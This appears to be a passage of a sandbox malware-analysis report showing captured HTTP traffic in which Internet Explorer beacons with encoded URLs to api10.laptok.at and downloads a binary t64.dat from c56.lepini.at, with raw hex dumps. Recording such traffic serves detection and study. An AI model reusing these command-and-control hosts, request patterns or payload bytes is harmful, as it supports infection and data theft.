BQo_2B8KvW/kveNSQqUDIB8KWkD/_2BFdRg0RIG_2BM/KBDjblq5CBzqopMAX_/2BiqcvBwe/7091jLT4LvMbkLNdI
BL_/2FJrqtJSJIzTB5wtJ4U/pKouwXKTg9H_2FU5iFL7fr/G5kdpSuG0DFl4/78sStOBq/1KCwgfl2cve2_2B91ieBA_2/BG_2Bo
I5kj/vpZCVzwwZvJx0j7Ia/gE7Fru2i7y88/pRsD_2Fy5JZ/pq9kw97v_2BgUx/yAzHUV1dSPgWD6UrhGUax/xyL8s
Vq_2BL2eSk/cu1E HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: api10.laptok.at
Connection: Keep-Alive

Feb 15, 2021 
21:28:29.993082047 CET

3010 IN HTTP/1.1 200 OK
Server: nginx
Date: Mon, 15 Feb 2021 20:28:29 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Data Raw: 32 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 9b 47 72 83 50 10 44 0f c4 82 9c 96 e4 9c 33 3b 32 08 10 
88 0c a7 37 5e b9 5c b6 15 fe 9f e9 7e af ca 32 5a 92 58 bd c3 b3 ad 5f 41 52 c6 09 17 b1 36 d6 87 7b 19 67 96 45 82 56 
ad 6a 44 6e 28 33 5e a6 77 10 c3 2d ea 6b 90 60 5f 0a 1d 88 64 ca 72 64 3f ad 1a e1 7b 51 60 10 c8 64 6b 84 05 ed c1 8c 
20 51 6a 52 11 7e b2 9e 3d 18 a6 b3 a6 56 61 a7 e5 a8 e5 63 87 16 01 32 fc 47 4b 15 a2 0a f9 51 ce 05 27 cc 42 9b c3 d4 
f5 b3 4b 35 64 92 02 40 7f 65 e3 d6 9c 1b a8 a6 51 3f 7e d4 d5 90 1f 4b d7 f7 6d a0 cf ae 19 22 f7 51 c4 75 fc 9d da 7c 03 
ea 45 73 63 4c cc 0b ff 0d 81 24 b7 39 9b 7b 78 69 ae 14 2b ec 74 f6 5b aa 78 e6 8f de 13 6d 35 9d 4d 8f c1 d1 df a5 f9 f2 
c1 85 a9 19 8c 64 a9 7c d2 c4 e2 7c 44 2e bd be db 84 54 b5 c4 87 93 94 35 3a ec e4 58 b5 52 5b 7a b3 2c 4d 19 bf cc ea 
4d b4 f1 71 9a a2 5a 07 f0 ef c1 bd 2d 5c c3 86 50 40 8e 80 48 19 87 8f 1c 8f 74 7c 26 2a c2 29 1f 40 18 14 a7 0b 44 d0 39 
7d 74 41 b1 f4 50 05 a3 ba fa 71 9b c4 0b 02 96 37 94 21 2e c2 2f 6a 98 ef 93 57 3f 95 c9 8f 3d cf 92 9b 07 20 20 2d 06 d0 
69 ab b8 df 8d 28 ff b1 e1 b3 7e c9 44 4d 07 18 3e 80 d8 3e 77 7f 0d 64 3c aa d4 c3 ef 01 91 29 b3 33 32 b7 c5 18 ea ad 
04 71 81 8a 9b 87 e7 40 69 0a 60 d7 ce 66 f5 b0 d8 2f 16 38 df 63 9f 4b e3 a6 b2 e0 7d 04 f3 f0 87 f4 fe 16 07 57 29 fd 42 
60 08 74 0e 5e 7b b1 a1 56 8f 1c 38 63 9c 16 48 06 08 25 07 46 8c ee 8d 1e f5 11 4d 06 c0 6f 85 ef a7 96 5f 12 bb 82 22 
31 88 a4 51 fa 44 b0 cd c1 d7 47 df d5 0f 40 cd 9e f4 34 1c fd 93 9e e9 c6 c7 f8 07 ab 0b 89 c2 fa 64 84 e0 5a 10 e1 31 02 
e9 91 98 98 5b 92 12 d2 fc 1a 41 03 79 03 bb de bf 73 2f 22 1a 1a f1 48 f5 5e a8 67 d8 74 1f 84 ba bd 23 7b a2 e8 da 3e 
ad a8 8e 61 04 20 e3 6c 7e 0c 47 c4 f3 0a ff 78 fd b8 20 3a a1 48 e6 0e 90 14 a4 61 81 5a 75 de c6 d7 36 c7 00 57 92 08 
f1 49 03 b5 72 a2 f8 44 c4 e3 3a 7a e6 ee a2 e3 33 50 ba a6 81 27 63 dd 13 f8 53 66 27 8f 61 1e 16 0c a5 8c 70 18 8f 60 
26 a1 a2 d3 14 36 93 70 3b 64 da 52 44 8f a4 18 ca be 81 39 04 57 65 d1 b6 4d d8 f7 cc 68 61 a2 52 5c 2f 20 ea e7 d7 cf 
3e f4 ab aa 43 69 c7 66 cb be cf 2f 70 2e 31 23 88 ad 10 7a e6 5a dd ef 69 e5 dd 88 4e f9 1c 4a 45 8b 7a 3f d4 9d 85 4e 3f 
f2 94 b1 a8 80 5d 36 a5 f8 dd dd ae 36 23 ef ff 00 1d 14 d2 b9 5c 7c a5 9b 02 66 1f 7f 74 3a 40 ed 77 ab 38 25 10 01 14 5f 
e2 8f bf d6 df 7e 20 b3 4b ad ee 62 66 c3 09 05 6e d1 95 75 6b 86 d5 b3 00 ca d1 4f b6 81 87 c1 ba c4 28 07 4c a1 62 2c 
71 18 6e 49 d8 6d ce 0f ea d3 97 a2 7b bf ba 89 61 0f f7 e0 42 b7 5d 19 71 7b 20 82 4b 68 20 ce c7 fe 1a 3b a5 78 37 d7 
da d6 71 35 d7 c7 31 b5 46 34 38 97 1f fb 09 8a d9 c6 86 66 04 ac 14 f9 f7 19 66 04 77 e8 af 23 49 48 2c 94 82 a7 93 f7 52
2d 12 22 ac fa 3d c1 66 0f 08 c1 ae 15 34 12 b5 a7 7b 9b 1d 03 b5 b7 e3 40 a3 91 1d 94 f6 a3 e5 e9 11 c4 91 75 bc 9f 2d 
6b 8f fd 0c 2a b7 19 63 b8 f0 17 b3 9c 8e 60 b2 2e f8 3b 03 bd e5 07 c9 71 9b 50 46 81 d9 35 59 4e c7 44 07 25 7b e4 f9 
c2 82 f0 fb 00 65 fa bb dc c5 05 05 74 bf 43 39 f1 a5 1e 8b 05 42 06 c9 7c 60 50 e4 2b a3 a4 2e 37 62 d3 dc 4d 7a 1e 8f 22
01 7d 19 87 3d 46 3c 4e 66 85 47 fe 95 7e 01 8a 2b 7c ca 9c 95 7f 8d c4 e4 fb 35 f7 30 f0 
Data Ascii: 2000GrPD3;27^\~2ZX_AR6{gEVjDn(3^w-k`_drd?{Q`dk QjR~=Vac2GKQ'BK5d@eQ?~Km"Qu|EscL$9{xi+t[x
m5Md||D.T5:XR[z,MMqZ-\P@Ht|&*)@D9}tAPq7!./jW?=  -i(~DM>>wd<)32q@i`f/8cK}W)B`t^{V8cH%FMo_"1QDG@4dZ1[A
ys/"H^gt#{>a l~Gx :HaZu6WIrD:z3P'cSf'ap`&6p;dRD9WeMhaR\/ >Cif/p.1#zZiNJEz?N?]66#\|ft:@w8%_~ KbfnukO(
Lb,qnIm{aB]q{ Kh ;x7q51F48ffw#IH,R-"=f4{@u-k*c`.;qPF5YND%{etC9B|`P+.7bMz"}=F<NfG~+|50

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.3 49758 34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Feb 15, 2021 
21:28:30.493611097 CET

3224 OUT GET /favicon.ico HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: api10.laptok.at
Connection: Keep-Alive

Feb 15, 2021 
21:28:30.616854906 CET

3224 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Mon, 15 Feb 2021 20:28:30 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Content-Encoding: gzip
Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 
31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 
40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 
0a 
Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Copyright null 2021 Page 61 of 75



Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.3 49759 34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Feb 15, 2021 
21:28:32.714569092 CET

3258 OUT GET /api1/gtYC_2BK_2FjCAsja/Qyq2AzjFZWki/EyFB_2F9syK/YEZOamZx4Lsvyb/NcUbBRiZnrBjBYyMQ6_2F/
wKkcR85o4YpV1aiF/bH4gnTGDFJUIMEM/mE561SA0pEAEX_2Bym/efdVnFq7t/Uwc_2FyPO9MzSPJ4_2BU/t81Od1U
bJHPetnRHsOT/rqXpHd7rYb4we6DkYU8imU/_2FSOVXLJM_2F/q6lazIta/_2F2_2BRQRLToH8swdYpdCX/22UvKXx
bXV/jGu2E55VFqiwaQRp_/2BPcB4S_2F_2/BSRTbomcVfZ/RJtYgUcyfI1_2F/UArwf2CGHs_2B7xiuzpXf/hgcLVb
Poq_2FekGC/m5J0XG9A/7iZlQL_2/F HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: api10.laptok.at
Connection: Keep-Alive

Feb 15, 2021 
21:28:33.145360947 CET

3259 IN HTTP/1.1 200 OK
Server: nginx
Date: Mon, 15 Feb 2021 20:28:33 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Data Raw: 32 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 9b c5 7a 83 50 10 46 1f 28 0b dc 96 b8 4b 70 d8 21 c1 dd 
e1 e9 4b bb ec 97 92 70 ef cc 3f e7 90 5b bc 31 37 2b 68 26 65 55 4b 91 92 ab 92 ab e1 70 70 58 e5 e7 58 97 69 84 d0 e0 
93 41 f4 11 d9 40 08 ee b9 6c 9a 02 4f 18 29 46 c5 1e a1 02 11 c1 8c 8e 6e 3a 47 d0 cf 75 10 ad 31 a4 03 6d d4 01 5f b3 
87 30 b7 92 73 d8 f0 49 a6 93 bb 09 40 18 89 cb 85 e6 82 86 12 9a 05 a8 f8 f5 cb 7a 3f 34 32 08 3b 7b f4 4a 28 04 c6 51 
78 e0 f7 4b a4 29 9d be e6 8d 84 a1 a2 b1 3c ab eb 88 92 9c fe ad ca 58 cd 29 b2 90 6f a4 66 83 39 58 b9 10 b5 96 04 22 
8f 23 60 36 31 b8 ee b9 85 d5 f5 65 ae 8e c7 5a 9f 8f ec 16 3a c6 85 9f df 19 86 86 53 f6 48 f2 c4 1d c4 cf 5a 30 71 54 14 
07 3d 64 95 8a 36 6f 75 43 20 1f e0 c7 6e d2 37 ef bd 8f 20 cc 1e f7 45 c2 61 6a 57 22 68 0a b5 ce 46 15 39 aa 2b 7a 8a 
fd 94 78 84 f6 58 dd 2f 9f 53 e0 9f 76 68 d8 1f b5 cb 69 67 69 d7 7c 05 ba 87 2b 1a 37 fd 1c 37 cd ee 2b 55 cb b2 5d a6 8f 
49 52 31 2f 7c 52 27 9b b0 81 52 32 a8 58 e5 56 a7 8c ec 84 b0 ef 06 46 ee e5 03 7a e9 c3 70 c8 5d 2c 54 b9 41 a8 7f 77 
43 3a bd e7 37 bb 85 70 54 30 fe 61 8c 4b 07 ac d3 c0 6e 53 a9 7e 4f 62 c4 d3 77 22 66 6a e3 1c 63 6d 73 ce 2d b6 7b 46 
55 72 2c d4 92 8d 0f 08 7b fa 4f 87 ed 04 a0 67 39 36 5c a7 67 05 58 b0 86 09 51 a7 d4 d7 9a ba 4a 00 71 24 39 1a 3b a1 
85 c0 9f 92 de 62 da af 05 19 90 33 ca a9 61 08 6b f9 48 9d 44 50 a5 95 30 e7 8e 84 50 ce d3 3f 24 ed ec bd d7 c4 68 21 
4d 7a e5 cf 23 35 fd 4b 39 b4 0a 9f 09 0c 61 f4 23 6e 42 31 77 db 0f 95 0b f7 9e 72 09 d4 4c 1a b7 71 10 81 1f 46 f2 f9 b8 
67 b9 2f 32 92 b3 72 7a 9e 62 7b b9 1f 87 60 b6 96 7d 60 6f f5 3b 12 18 af e3 33 dd fe ec ee 42 a0 18 8c bf 36 bd ce b8 d2 
67 c4 eb eb b9 af 08 6d d9 f1 0b a1 0a 12 e0 7a 40 7e 9d 6c 1b 68 07 f6 1c cc eb 1e 26 67 6b 9e 90 be c6 30 12 20 8c ff 
48 01 c6 ed 69 ad e9 3e 6b 36 fe 37 7f 11 b2 a1 07 37 e5 0a b3 07 f6 cf ca 44 5c 6a fe e8 73 62 1a 4d 04 b8 e5 fe e9 c8 b7 
a6 4e c2 c4 b5 bd 11 b1 3a 61 ad c5 f7 ae 52 aa 02 0c c0 47 dd 26 d7 7c d3 dc c8 39 11 de 3e 14 2b 8f 67 60 da 3e 93 39 
3b fe e0 72 45 7d 19 c7 f6 ae 4b 54 d5 bc 7a ee ce 2d 16 d8 f0 95 6e 7b d9 43 c8 3d ee 8f 21 8b 16 f0 b1 dc e9 21 97 6c 
b6 91 c9 f2 22 8e e3 62 9a 78 4a d4 85 64 20 82 8f 3d 86 b2 c5 a1 63 5a b9 f1 24 3c 15 0e 0c 1d fa e0 9f f0 44 4c 46 2a 06
99 d9 20 94 73 a7 69 de d5 7d f6 95 64 78 18 70 f9 1d 17 62 90 12 29 7a 9e 3c 64 df ba 43 13 a3 45 75 4b 6c 31 0b 9d 15 
b3 b6 da af eb 2f 9f 24 96 7a 29 c2 c3 59 2b 5a f8 94 eb a5 ae a2 79 ef f2 0f 3d b2 41 a1 9e a6 64 41 14 51 c6 3b db a6 f7 
28 21 67 6d 0a 1e ae ef f7 f0 cb 21 2a eb 88 6d ea 96 b9 6b 1c 33 e3 ad e8 5e 10 85 50 33 e2 b7 37 bf 25 1f b2 2e 16 fa 4
b 05 6f b7 25 01 e7 bb 5d 47 a7 08 1b ea f4 2a 21 91 00 56 3f 19 17 7f e4 1b 32 16 64 ce 8c e5 a3 80 4e 42 95 ec 41 17 c
1 79 41 78 39 5f b8 00 e5 f1 85 25 c4 00 22 05 28 48 86 e4 3b 36 7d a9 ee fd c3 b2 2a 59 81 f0 58 0e 2b d4 b1 2c 39 b1 b
8 14 1b e1 0b e5 93 19 90 f2 86 ed 75 aa c7 96 ef 32 d5 a9 07 71 07 83 ed 7e 84 7b b5 0a 43 15 e0 41 3d 30 5c 93 92 78 
35 ed 01 59 d1 6a e9 9d 3a 23 f2 df 07 aa a1 21 41 eb 00 72 e7 d9 83 61 45 1d a2 35 0f 35 d1 e6 bc 
Data Ascii: 2000zPF(Kp!Kp?[17+h&eUKppXXiA@lO)Fn:Gu1m_0sI@z?42;{J(QxK)<X)of9X"#`61eZ:SHZ0qT=d6ouC n7 
EajW"hF9+zxX/Svhigi|+77+U]IR1/|R'R2XVFzp],TAwC:7pT0aKnS~Obw"fjcms-{FUr,{Og96\gXQJq$9;b3akHDP0P?$h!Mz
#5K9a#nB1wrLqFg/2rzb{`}`o;3B6gmz@~lh&gk0 Hi>k677D\jsbMN:aRG&|9>+g`>9;rE}KTz-n{C=!!l"bxJd =cZ$<DLF* s
i}dxpb)z<dCEuKl1/$z)Y+Zy=AdAQ;(!gm!*mk3^P37%.Ko%]G*!V?2dNBAyAx9_%"(H;6}*YX+,9u2q~{CA=0\x5Yj:#!AraE55

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.3 49760 34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Feb 15, 2021 
21:28:33.700901031 CET

3527 OUT GET /favicon.ico HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: api10.laptok.at
Connection: Keep-Alive

Feb 15, 2021 
21:28:33.822767973 CET

3527 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Mon, 15 Feb 2021 20:28:33 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Content-Encoding: gzip
Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 
31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 
40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 
0a 
Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
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Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.3 49761 34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Feb 15, 2021 
21:28:36.915788889 CET

3529 OUT GET /api1/jzRoxFaC/VGe9D7ZFmtXM2P4WCtXue9i/9UasgR41C7/sUfUr2FPy8aFKQY_2/Bz_2Bn96rDq4/tc7hI
4JWi9m/eAoTwSqab6IBJQ/rTwjMGXE3TRb_2FfjUanN/uq7E8yfih5MI9t0m/qpGu2Sq1UQFLURx/pZERC59_2BSrD
1zxX_/2FLMHRYnS/Ogu9FB1M7pDsaHxJB5Qy/wnhAaa5h1vW_2FtCzN_/2BnK5hTB5fTJiaqUovmqWy/Ja6s_2Bdtm
TOE/X8q6_2F2/V3tdgiIR_2BIp0Hf7KFyggN/xa_2BvXTdf/7xkiiYsdPc4BVaNQ5/VezMmr_2BFNF/qenARXrgKUh
/s4DIWvPVD/dh9Eh3 HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: api10.laptok.at
Connection: Keep-Alive

Feb 15, 2021 
21:28:37.368697882 CET

3538 IN HTTP/1.1 200 OK
Server: nginx
Date: Mon, 15 Feb 2021 20:28:37 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Data Raw: 37 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 94 35 b2 ad 00 00 43 17 44 81 5b f1 0b e0 e2 ee d2 e1 ee ce 
ea ff eb 33 93 49 ce 24 af 04 77 c5 49 30 a8 12 a5 a8 b6 a2 5f 8b 54 b2 76 d5 66 ff 0d 57 1e 19 f4 a9 6d 4f b3 8e 5d 45 3e 
09 2d 0c e2 b5 e8 b3 78 a7 0e 77 9b 12 07 06 8a 34 67 0b 51 e1 e3 63 ff d2 ba 88 2a d0 67 de 7e 35 cb 0f 69 99 96 72 61 
db 7b 64 dc e9 f2 d6 a6 75 f4 53 a0 da 04 4e 16 a0 fc 4e ed c7 26 8a 5a ea 13 9a 6e ed 08 0b 7c cc 3a 04 f3 0e 55 97 6e 
e6 ab 00 c3 c8 6a 3e 3d 02 cc c5 94 d7 1a 93 3d c4 4d 8c 9d e5 36 2c 6b 04 b0 a2 35 67 c4 32 d5 e1 dd e7 70 62 be a2 
0e 18 bc 38 ba ab b1 7a 36 52 97 d5 24 07 50 19 12 89 13 47 0d 36 af 5b bb fa cd cb b8 0a f6 31 6f c5 40 c9 03 8d 2d 41 
90 b6 41 4f ad da 6b 65 9e 25 e9 71 cd af da a4 99 20 88 95 3c 3c 66 1c 12 d8 9f 8e cd 93 47 d0 b6 47 a6 5b 04 6f 4d d2 
8b 2f cf c7 e4 84 5d 76 cd cc af 49 1e d7 6c b8 90 2b 8d 5d a1 d9 c6 fa dd 05 61 75 4a 98 d3 fd 73 72 8d 75 74 4f fa 17 62 
27 63 f7 72 0f 18 74 fd 12 89 50 ca 7f 95 5e cd b5 30 ed 73 02 4d ec 8d 0e fd 6a 8f 0f da 19 f4 c1 29 eb 63 52 47 f1 ce 75 
99 1f a8 ab b7 5d e0 01 7b 63 e8 a3 2a 8a 29 e0 2c ab fb a8 d5 b7 a0 1b 15 fd a7 ad 41 18 48 22 e2 d4 38 f9 9c 35 fc 68 
a4 a6 73 e4 17 a6 16 e5 90 0a 7c e9 12 c4 d4 42 af 20 53 e5 0d 82 c1 75 23 a0 da 29 78 00 6c 96 a6 b6 f0 b2 79 50 06 8b 
8d 2e 02 32 5d 59 db de 2a 32 51 3b 0f f5 98 d5 90 e7 2c 7f 06 f2 ea 77 56 4b 3d 0a a4 93 d9 56 ad c5 34 a9 de 9d 38 55 
c9 0a 16 a6 fe 75 f3 6e 90 f4 ec 0d 36 62 44 46 cb c3 58 ac 57 f0 99 73 4d da be 94 43 fe b3 08 9c 2e e9 a7 a1 d7 81 0c 
6a ef e0 04 38 67 b6 ca 8b 92 ac e9 da 9e da 9b 01 31 84 4c e0 20 e9 ea c0 df 5e a6 72 73 1b a0 2f 9d 2e cc ce 52 45 79 
86 4d b4 30 84 ce c2 4a ee a4 ba b5 15 ce f4 61 a3 d3 79 43 24 bf 0f 43 7c ff c0 cc 2b 95 da dc cb 22 a5 92 42 4d 22 3a 
81 36 29 0b 65 c7 aa 04 c9 2a 2b b0 64 0f 11 06 cc ba 7e be df 28 6e 54 a5 32 6c 65 68 e7 f9 07 6e 08 80 ea 46 14 a1 19 
01 c9 3c 88 40 2b b0 05 d6 aa 94 1b 6a a7 ab ce e4 84 d8 5c be ce df 6d 1c 47 d8 88 00 c1 81 61 93 7c dc 1d c0 25 b1 8a 
12 5c 2b af c4 07 a2 d2 d9 6f 70 2d ff 42 85 e4 9f 43 10 83 a9 d9 91 44 72 12 00 65 f4 0f f9 5b c1 46 b7 42 8c 2c 85 17 d5 
a5 c2 60 d0 68 fa 83 d4 c6 c5 a4 05 25 0a aa c0 bc 66 ae 9b d3 f8 8b 2e c1 d9 f3 88 fe cb 5e 25 25 e6 3b 24 51 9d e8 57 
11 cc 97 43 ed 62 f3 e7 14 a5 ed 3a 78 b9 0b 64 e9 9a 69 a9 ac 80 4c fb d4 7a 6c 4d bf a6 fe a8 be 6d 94 af 0e 84 13 96 
c0 1f 95 3f 35 51 33 8d bf 4e 40 d7 d6 a8 5a d1 a6 ab 93 ac af 5d ed 9c 3b 0a f3 1b f8 9e 05 c0 5a 81 8e 5f a3 ff 42 38 c4 
15 8e f4 c5 f4 84 12 a3 0f ae 1c 79 5f 55 04 71 ab 16 86 04 b5 26 45 c1 1e f1 0c d3 6d 93 da 34 92 07 29 0f 7d f3 b1 f0 42 
0c 74 23 e1 07 09 aa 17 e3 3a 76 23 0c 27 41 95 44 1b cc c0 6c b1 67 1c 49 a3 fd 27 48 25 64 b9 21 aa 4b a5 07 b1 fe ca 
41 9c 84 f4 bd 6d 51 c8 04 17 f0 51 73 39 51 2e 39 77 0f 2b f9 78 55 85 fe 06 3a 57 c8 b2 aa 51 1a bf b1 b6 f5 9c 21 0b fe 
10 47 5d 37 d1 ca a3 c0 65 27 b8 4c 75 4f d1 c8 ac f3 9c 92 f6 09 86 93 59 48 bc 93 36 32 ab 8a de 24 16 3a fa cb 81 c4 5f 
96 b7 ed f2 18 89 8f d0 9a 35 54 d6 57 2c 56 60 5c 98 bf 0e 12 af d4 7d 88 2e 5b 63 f9 c6 20 c6 93 
Data Ascii: 76c5CD[3I$wI0_TvfWmO]E>-xw4gQc*g~5ira{duSNN&Zn|:Unj>==M6,k5g2pb8z6R$PG6[1o@-AAOke%q <<fG
G[oM/]vIl+]auJsrutOb'crtP^0sMj)cRGu]{c*),AH"85hs|B Su#)xlyP.2]Y*2Q;,wVK=V48Uun6bDFXWsMC.j8g1L ^rs/.R
EyM0JayC$C|+"BM":6)e*+d~(nT2lehnF<@+j\mGa|%\+op-BCDre[FB,`h%f.^%%;$QWCb:xdiLzlMm?5Q3N@Z];Z
_B8y_Uq&Em4)}Bt#:v#'ADlgI'H%d!KAmQQs9Q.9w+xU:WQ!G]7e'LuOYH62$:_5TW,V`\}.[c 

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.3 49779 34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Feb 15, 2021 
21:29:15.278340101 CET

8361 OUT GET /jvassets/xI/t64.dat HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: c56.lepini.at
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Feb 15, 2021 
21:29:15.399575949 CET

8363 IN HTTP/1.1 200 OK
Server: nginx
Date: Mon, 15 Feb 2021 20:29:15 GMT
Content-Type: application/octet-stream
Content-Length: 138820
Last-Modified: Mon, 28 Oct 2019 09:43:42 GMT
Connection: close
ETag: "5db6b84e-21e44"
Accept-Ranges: bytes
Data Raw: 17 45 7e 72 ac 5b ed 66 e1 de 31 9e 70 18 b7 1a 77 c0 be b3 e2 43 ff 7c d8 16 7f 6f 35 a2 d1 a5 d2 ec 0d 0c 
de 58 84 1a f3 53 04 f0 65 cb 76 1f 35 85 a0 7d 1d f2 44 63 de 89 f3 f1 eb d3 60 21 68 3d 3a 93 e1 55 94 db 4c d2 f2 b4 3e 
34 48 eb e8 47 7b 53 14 54 86 87 a3 d2 0d 55 0c d0 4f 6f 51 73 eb e2 f9 f4 9b f0 49 af 3d a0 bd ba 48 52 29 a2 84 33 75 
9e 48 16 a7 b3 00 58 91 bf bf ea 49 85 ff c7 58 36 df 5b 13 ec c2 c6 92 56 72 82 53 68 a1 ca a8 33 3e e7 8b 8e 6f fa 4b 85 
a0 7f bb 5c de 12 c3 97 40 27 18 f2 b2 95 91 d8 b7 45 cf 2a 5f 95 76 5b fc 02 c1 9d d7 e5 7f ee ec f5 a0 52 7b 4d 4d ae da 
70 b4 71 95 b6 39 2e 38 47 c0 ab 5e fe cf a1 6a 5c a5 3c 8f 1b 97 0a 2a 41 5f 6e 2e 85 b4 8e 24 d6 6a 1c cb 43 8c ca 75 
7d 09 57 73 3c a2 b8 0b 18 00 21 c1 f5 fc e4 2b 04 14 51 c3 36 ea 80 55 0a 28 82 e4 56 51 91 99 bf 11 ae 36 06 cd 81 44 
e0 ad db 69 d6 8e 24 28 ee 4c 0d 81 69 8b 96 c0 52 cd ed ec 31 e8 7f 08 d8 ff 0a 82 4d 1d fa a0 28 3c 3f 5f 53 cb 64 ea 5d 
7c c7 f0 0f 28 71 5a f4 60 b7 7b f3 e1 19 5b 7b be d1 62 af ef 2f ad 3b 22 a8 03 e7 9f 3d e5 da ca 8b 1a 9c 2c fd 76 89 a9 
f7 a5 7b 6a b4 47 62 bf 64 5d 54 26 01 9a 1d 3b b0 97 db c5 c1 dd 94 52 d0 b2 77 e0 f7 00 8d c1 99 02 69 f4 b2 87 b2 0c 
68 b3 9d b6 e6 a6 9f 58 b0 52 f8 5e b5 ac 1e 36 41 bd bc f9 5d 3a 2b 5a 40 60 9a 48 c1 b3 4a df cc 81 65 53 4e e4 9a 80 
8b dd 8f 43 eb 11 23 73 1b 1b c1 99 89 21 94 4c a5 84 c3 13 96 ad 5d 82 20 a4 a4 3b dd 1e 43 74 c6 42 11 7a 8a f2 93 8b 
7e 24 73 17 d9 c7 eb 47 18 47 41 4f a2 f1 bc 52 cc 35 f2 c2 73 3e e5 32 8a b5 c7 7c 3b d4 88 bd aa 47 48 66 2e 00 bd 3f 
fc 08 b4 49 98 e3 36 db f0 33 4c 40 2b cc 59 2a b5 ba 73 58 27 de a0 31 0e 6d 63 70 19 7b 5f 67 00 54 79 89 7f 42 21 df 
6e 23 e1 54 43 4a 09 00 77 ac fb e4 2e a8 6d 07 21 b3 a0 98 ad 40 d2 34 64 c9 c2 62 14 7c 45 eb a0 65 98 c1 18 a1 6a af 
69 0a a2 bb 50 42 96 c1 d7 02 58 6d f4 b1 15 90 f6 50 9c 6a fd d4 2e 5e a7 4a cb 67 59 63 74 77 99 de e0 c0 d5 5c 9d a7 
89 1b 90 39 29 23 21 3b c4 35 f1 49 9e 67 f3 ce fe 1d 0a 67 69 06 13 13 30 ab e6 c6 f4 c9 7e 94 48 5b a1 f7 5f 27 1f 03 ac 
85 e1 0e b1 bf 6e e1 1c 5a 24 cc b2 53 fd 61 58 e3 87 0b 85 9e 03 94 f6 2a bd 92 53 09 77 f8 5e d3 c9 b7 19 42 4e e6 2a 
67 af 27 4e 01 de 6a fc 1e 82 0c 7e 45 7b e8 1d 97 82 9b 5c 14 96 d2 82 dd 53 15 1e 84 41 01 4f 0f 32 ac ee b7 85 96 4c 
e9 dc b0 42 3c 93 a6 0b a3 79 cb 7b 2c d1 21 6f c1 6a 38 48 d7 37 8f 35 b8 1d 7a e7 eb 63 bc 4e 6b b6 23 aa 9c fd 32 03 
46 e2 37 47 49 c2 35 a1 48 7e 98 49 6a b4 98 e7 cb 33 dd 1a be 5a c8 ea a7 44 33 9b e3 a6 84 da 68 ec bf 93 03 88 f9 6e 
